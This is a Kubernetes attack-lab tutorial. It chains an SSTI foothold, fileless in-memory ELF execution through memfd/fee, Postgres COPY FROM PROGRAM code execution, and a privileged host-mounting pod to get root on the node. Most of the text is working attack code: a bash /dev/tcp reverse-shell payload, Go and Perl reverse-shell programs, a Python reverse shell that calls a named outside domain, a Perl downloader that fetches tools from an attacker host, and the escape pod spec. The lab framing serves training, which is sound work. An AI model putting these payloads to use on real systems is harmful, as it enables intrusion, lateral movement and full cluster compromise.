Kubernetes and Fileless Execution:

Overcoming Read-Only Root File System Challenges

Table of content:

• Lab Setup
• Exploring the Read-Only Web Frontend
• Dealing with Read-Only File System
• Introduction to fee
• Interacting with postgesql
• Playing with kube-api insite a pod with cluster-admin
• Tools

Synopsis

In this tutorial, we'll explore the concept of fileless execution within Kubernetes environments, particularly focusing on pods deployed with read-only root file systems. This technique is crucial for scenarios where traditional file manipulation is restricted, offering an alternative method for executing tasks.

Skills Requried

• Linux Enumeration
• Kubernetes Enumeration
• Elf x86 binary knowlage

Skills Learned

• Docker workflows
• In Memory Attacks
• Kubernetes defaults
• Kubernetes privilages escalations

Lab Setup:

Docker and Minikube are used as the infrastructure to make the lab as portable as possible.

cd k8syamls/
make launch-minikube
make deploy

Get the ip and NodePort to connect on your minikube:

$ kubectl get svc -n frontend
NAME                   TYPE       CLUSTER-IP    EXTERNAL-IP   PORT(S)        AGE
app-nodeport-service   NodePort   10.104.55.4   <none>        80:30007/TCP   19h

In this example K8s assinged 30007 to the web app service. Test site is up with curl

$ curl -I -L http://192.168.64.18:30007
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.8.10
Date: Wed, 22 Nov 2023 22:41:44 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1833
Connection: close

Step 1: Exploring the Web Frontend

First, we access the web frontend and exploit a SSTI to gain a foothold on the system.

There is a basic filter which does not allow "{{" at the start of the input. We can bypass the filter with this payload:

a{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i &>/dev/tcp/<IP>/<PORT> <&1"').read()}}

Alternativly you can use Burp to send a POST request like this:

curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.64.18:30007' -H $'Content-Length: 153' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://192.168.64.18:30007' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://192.168.64.18:30007/get_response' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    --data-binary $'conversation=A&user_input=a+%7B%7B+self._TemplateReference__context.cycler.__init__.__globals__.os.popen%28%27cat+%2Fetc%2Fpasswd%27%29.read%28%29+%7D%7D' \
    $'http://192.168.64.18:30007/get_response'

Step 2: Enumerating our envioment

By checking the environment variables we can deduce that we are in a Kubernetes environment.

$ env
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1

We see an error when trying to write a file.

touch hi.txt
touch: cannot touch 'hi.txt': Read-only file system

Observations:

• The environment variables suggest we're on a Kubernetes node.
• Standard paths are available, but no write access to the filesystem.

Step 3: Dealing with Read-Only File System

(https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless#read-only-no-exec-scenario) shows how we can we can utilize tmpfs mounted filesystems for temporary file manipulation. We will be using the memfd syscall to create in memory elf64 binary files. Then execute those files without touching the file system. As we are not leaving any traces or files (IoC) on the file system. We will try to confine our actives in memory when possible.

Check what filesystems are mounted with tmpfs as paths may vary.

$ mount -t tmpfs
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

We can interact with /dev/shm for our purposes to execute scripts with python interpreter in running memory, even bypassing noexec flags associated with the filesystem.

/dev/shm will gernally be available for all pods on a Kuberntes work node by default.

We can see what version of python is available on the system with python --version

---

Introduction to Fee: https://pypi.org/project/fee/

Execute ELF files on a machine without dropping an ELF.

Create a Docker image to convert our elf64 binaries into interperted code:

FROM python:3

RUN pip install --user fee

and build it:

$ docker build -t fee .

---

Test fee by copying the id binary onto your local and converting it to python with fee

$ cp backend/postgres-deployment-85696c855-mr4c2:/usr/bin/id /tmp/kid
$ file /tmp/kid
/tmp/kid: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9db18ea3b88543130f870aa071d9216955c2a541, for GNU/Linux 3.2.0, stripped

Next run the fee docker image on the binary and direct the default python output to a file

$ docker run -v /tmp/:/host -it localhost:5000/docker-fee:0.1 /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/kid'  > kid.py

Lets now test the command by directing the python script to STDIN of the frontend example app pods python interpreter:

$ cat kid.py | kubectl -n frontend exec -it app-6f85bcbff4-m6zht -- python3
Unable to use a TTY - input is not a terminal or the right kind of file
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)

If this works YAY! This workflow is going to be reused for all the tools.

---

Notes:

• The binary needs to be compiled with the glibc equal or lesser
  • Get gcc version with ldd --version For a glibc version of 2.34 I'm using the ubuntu:16.04 docker image to cp my bins.
• You may need to play with fee's final output
  • The in memory file descriptor is the last line of output
  • os.execle(p, 'myid', {})
  • Arguments: fdesc ,'process name', {"env=variables"}

---

Step 5: Interacting with a Discovered Postgres Server

After identifying a Postgres service via enviorment variables, we'll execute a postgres client binary writen in go on the target:

Update the psqlrev.go script with your own listener ip and port. Now you need to build the go script with specific build flags, to get a static build. We need this to make sure that the binary gets compiled with a glibc version equal or less then the one on the target.

$ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build exploit.go

Use the fee command for execution:

$ docker run -v /tmp/:/host -it localhost:5000/docker-fee:0.1 /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/psqlrev'  > psqlrev.py

run the psqlrev.py and attempt to gain a reverse shell

Test it like this:

$ cat psqlrev.py | kubectl -n frontend exec -it app-6f85bcbff4-m6zht -- python3

You should now be on the backend server!

To get revshell on the target through your foothold, you need to transfer the psqlrev.py file over to the web pod and execute it in /dev/shm.

---

Step 6

Now that we have laterally pivoted to the postgres-backend-server that does not have a read-only mount we are going to pull kubectl command with perl from or attack host or from the interweb. We are using perl as our interpreter as python3 is not installed on postgres container. With diverse workloads we need many different tools.

#!/usr/bin/perl use strict;

use warnings;
use HTTP::Tiny;

my $url = 'http://<attacker ip>:45671/kubectl';
my $file = 'kubectl';
my $response = HTTP::Tiny->new->get($url);

if ($response->{success}) {
    open my $fh, '>', $file or die "Cannot open $file: $!";
    print $fh $response->{content}; close $fh;
 } else {
    die "Failed to get $url\n";
}

Once we can have kubectl installed and notice we can create pods, we will create an attack pod to gain root on Kubernetes worker node.

Setup a bad pod from Bishopfox in a oneliner

kubectl run everything-allowed-exec-pod --image=alpine --overrides='
{
  "apiVersion": "v1",
  "spec": {
    "hostNetwork": true,
    "hostPID": true,
    "hostIPC": true,
    "containers": [
      {
        "name": "everything-allowed-pod",
        "image": "alpine",
        "securityContext": {
          "privileged": true
        },
        "volumeMounts": [
          {
            "mountPath": "/host",
            "name": "noderoot"
          }
        ],
        "command": [ "/bin/sh", "-c", "--" ],
        "args": [ "while true; do sleep 30; done;" ]
      }
    ],
    "volumes": [
      {
        "name": "noderoot",
        "hostPath": {
          "path": "/"
        }
      }
    ]
  }
}' --labels=app=pentest --restart=Never

Now exec it and chroot the host mount at /host to elevate to root on the worker node!

kubectl exec -it <badpod> -- /bin/sh -c 'chroot /host'

Tools

Postgres Reverse Shell

package main

import (
    "database/sql"
    "strconv"
    "log"

    _ "github.com/lib/pq"
)

const (
    host     = "10.244.0.6"
    port     = 5432 // Default port for PostgreSQL
    user     = "postgres"
    password = ""
)

func main() {
    // Construct the connection string
    psqlInfo := "host=" + host + " port=" + strconv.Itoa(port) + " user=" + user + " password=" + password + " sslmode=disable"

    // Open a connection to the database
    db, err := sql.Open("postgres", psqlInfo)
    if err != nil {
        log.Fatal(err)
    }
    defer db.Close()

    // Check the connection
    err = db.Ping()
    if err != nil {
        log.Fatal(err)
    }

    // Execute SQL commands
    _, err = db.Exec(`DROP TABLE IF EXISTS cmd_exec;`)
    if err != nil {
        log.Fatal(err)
    }

    _, err = db.Exec(`CREATE TABLE cmd_exec(cmd_output text);`)
    if err != nil {
        log.Fatal(err)
    }
    _, err = db.Exec(`COPY cmd_exec FROM PROGRAM 'perl -e "use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(1337,inet_aton(\"127.0.0.1\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"'`)
    if err != nil {
        log.Fatal(err)
    }

    log.Println("Commands executed successfully")
}

Python3 Rev Shell

## Python 3 Reverse Shell
```python
import socket
import subprocess
import os

# Set the server's IP address and port number
SERVER_HOST = 'kurtisvelarde.com'
SERVER_PORT = 45678

# Create a socket object
s = socket.socket()

# Connect to the server
s.connect((SERVER_HOST, SERVER_PORT))

# Send a message to the server saying we've connected
s.send(str.encode("Connection established!"))

# Receive commands from the remote server and run on the local machine
while True:
    # Receive command from the server
    command = s.recv(1024).decode()

    # If the received command is exit, close the socket and exit
    if command.lower() == 'exit':
        s.close()
        break
    # Execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # Send the results back to the server
    s.send(str.encode(output + "\n"))

Perl Curl

#!/usr/bin/perl use strict;

use warnings;
use HTTP::Tiny;

my $url = 'http://192.168.178.67/kubectl';
my $file = 'kubectl';
my $response = HTTP::Tiny->new->get($url);

if ($response->{success}) {
    open my $fh, '>', $file or die "Cannot open $file: $!";
    print $fh $response->{content}; close $fh;
 } else {
    die "Failed to get $url\n";
}

Conclusion

We've demonstrated fileless execution within a Kubernetes environment, highlighting techniques to navigate around read-only file systems and interact with network services.

References

Tech	Link
Glibc	[https://trofi.github.io/posts/239-hacking-on-glibc.html]
fee	[https://pypi.org/project/fee/]
memfd_create	[https://0x00sec.org/t/super-stealthy-droppers/3715]
memfd_create	[https://x-c3ll.github.io/posts/fileless-memfd_create/]
Postgres RCE	[https://github.com/squid22/PostgreSQL_RCE/blob/main/postgresql_rce.py]
BadPods	[https://bishopfox.com/blog/kubernetes-pod-privilege-escalation]